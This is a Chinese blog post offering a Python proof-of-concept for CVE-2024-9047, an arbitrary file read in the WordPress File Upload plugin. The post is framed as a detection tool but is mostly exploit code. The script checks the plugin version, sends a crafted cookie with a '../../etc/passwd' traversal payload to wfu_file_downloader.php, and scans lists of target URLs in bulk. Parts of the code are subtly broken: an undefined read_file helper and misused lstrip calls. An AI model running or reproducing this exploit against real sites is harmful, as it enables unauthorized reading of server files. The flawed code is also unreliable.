WordPress File Upload 插件任意文件读取漏洞检测工具 (CVE-2024-9047)

WordPress File Upload 插件任意文件读取漏洞检测工具 (CVE-2024-9047)

项目简介

本项目是一个专为安全研究人员和系统管理员设计的漏洞检测脚本,用于识别WordPress站点中安装的 File Upload插件 存在的 CVE-2024-9047任意文件读取漏洞。

该工具通过发送特制请求,尝试读取目标服务器的/etc/passwd文件,并结合版本检测机制,准确判断目标是否存在漏洞。支持单URL检测与批量文件导入检测两种模式,极大提升了安全评估效率。

功能特性

  • 版本精准比对:自动获取release_notes.txt文件中的插件版本号,并与受影响版本(≤ 4.24.11)进行比对。
  • 漏洞无痕验证:通过构造Cookie与路径遍历载荷,尝试读取/etc/passwd关键文件,依据响应内容判断漏洞是否存在。
  • 双模式检测:
    • 单目标检测:通过-u参数指定单一URL进行深入检测。
    • 批量检测:通过-f参数导入URL列表文件,自动化循环检测。
  • SSL错误忽略:内置忽略SSL证书验证逻辑,兼容自签名或证书异常站点。
  • 彩色终端输出:利用ANSI颜色代码,高危结果红色高亮,版本匹配绿色提示,提升结果可读性。

安装指南

系统要求

  • Python 3.6 或更高版本
  • 支持 pip 包管理工具

依赖安装

本脚本依赖requests库和urllib3库。请使用以下命令安装所需依赖:

pip install requests urllib3

脚本获取

将本脚本保存为 poc.py 文件。

使用说明

基础使用

1. 检测单个目标

python poc.py -u http://example.com

2. 批量检测

创建一个文本文件(例如 urls.txt),每行写入一个目标地址:

http://target1.com
https://target2.com

执行批量检测命令:

python poc.py -f urls.txt

检测原理示例

脚本将依次执行以下步骤:

  1. 构造HTTP请求访问 /wp-content/plugins/wp-file-upload/release_notes.txt。
  2. 通过正则表达式提取插件版本号。
  3. 若版本号 ≤ 4.24.11,则继续进行漏洞验证。
  4. 构造包含路径遍历载荷的请求,访问 /wp-content/plugins/wp-file-upload/wfu_file_downloader.php。
  5. 检查响应是否包含 /bin/bash 与 root:x:0:0 关键字,确认漏洞存在。

输出示例

Checking http://example.com/wp-content
Found version: 4.24.10
Version 4.24.10 <= 4.24.11 - 可能存在漏洞
Find: http://example.com: WordPress_FileUpload (CVE-2024-9047) - ReadAnyFile!

核心代码

版本提取与比对模块

import re

def extract_version(version_text):
    """从release_notes.txt中提取插件版本号"""
    match = re.search(r'<strong>Version\s+([0-9]+\.[0-9]+\.[0-9]+)</strong>', version_text)
    if match:
        version = match.group(1).strip()  
        print(f"Found version: {version}")
        return version
    return None

def version_to_tuple(version):
    """将版本字符串转换为元组以便比较"""
    return tuple(map(int, version.split('.')))

def compare_versions(current_version, target_version='4.24.11'):
    """比较当前版本是否小于等于受影响版本"""
    if current_version:
        current_tuple = version_to_tuple(current_version)
        target_tuple = version_to_tuple(target_version)
        
        if current_tuple <= target_tuple:
            print(f"\033[32mVersion {current_version} <= {target_version} - 可能存在漏洞\033[0m")
            return True
        else:
            print(f"Version {current_version} > {target_version} - 无漏洞.")
            return False
    return False

漏洞验证核心逻辑

import requests
import time
from urllib.parse import urljoin

def check(url):
    """针对单个URL执行完整的漏洞检测流程"""
    protocols = ['http://', 'https://']
    found_vulnerabilities = False

    for protocol in protocols:
        target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), "/")
        timestamp = str(int(time.time()))
        
        # 构造版本文件URL与漏洞验证URL
        target_url_version = urljoin(target_url, "/wp-content/plugins/wp-file-upload/release_notes.txt")
        target_url_poc = urljoin(target_url, "/wp-content/plugins/wp-file-upload/wfu_file_downloader.php")
        
        # 构造关键Cookie与路径遍历参数
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
            "Cookie": f"wfu_storage_pQ1DyzbQp5hBxQpW=/../../../../../etc/passwd[[name]]; wfu_download_ticket_Hw8h7dBmxROx27ZZ={timestamp}; wfu_ABSPATH=/;"
        }
        
        try:
            # 获取版本信息
            response_version = requests.get(target_url_version, verify=False, timeout=10)
            if response_version.status_code == 200:
                version = extract_version(response_version.text)
                
                if compare_versions(version):
                    # 执行漏洞验证
                    response = requests.get(target_url_poc, verify=False, headers=headers, timeout=10)
                    if response.status_code == 200 and all(key in response.text for key in ('/bin/bash', 'root:x:0:0')):
                        print(f"\033[31mFind: {url}: WordPress_FileUpload (CVE-2024-9047) - ReadAnyFile!\033[0m")
                        found_vulnerabilities = True
        except Exception as e:
            print(f"Error while checking {url}: {e}")

命令行参数解析与入口

import argparse

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="WordPress 任意文件读取漏洞检测")
    parser.add_argument("-u", "--url", help="单个url检测")
    parser.add_argument("-f", "--txt", help="批量检测")
    args = parser.parse_args()
    
    if args.url:
        check(args.url)
    elif args.txt:
        urls = read_file(args.txt)
        for url in urls:
            check(url)
    else:
        print("python poc.py -u http://example.com\npython poc.py -f urls.txt")

6HFtX5dABrKlqXeO5PUv/14o64rVWcJ8UH6555lKeoF7Ng1v58mzEzfCS/2odTjJ

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容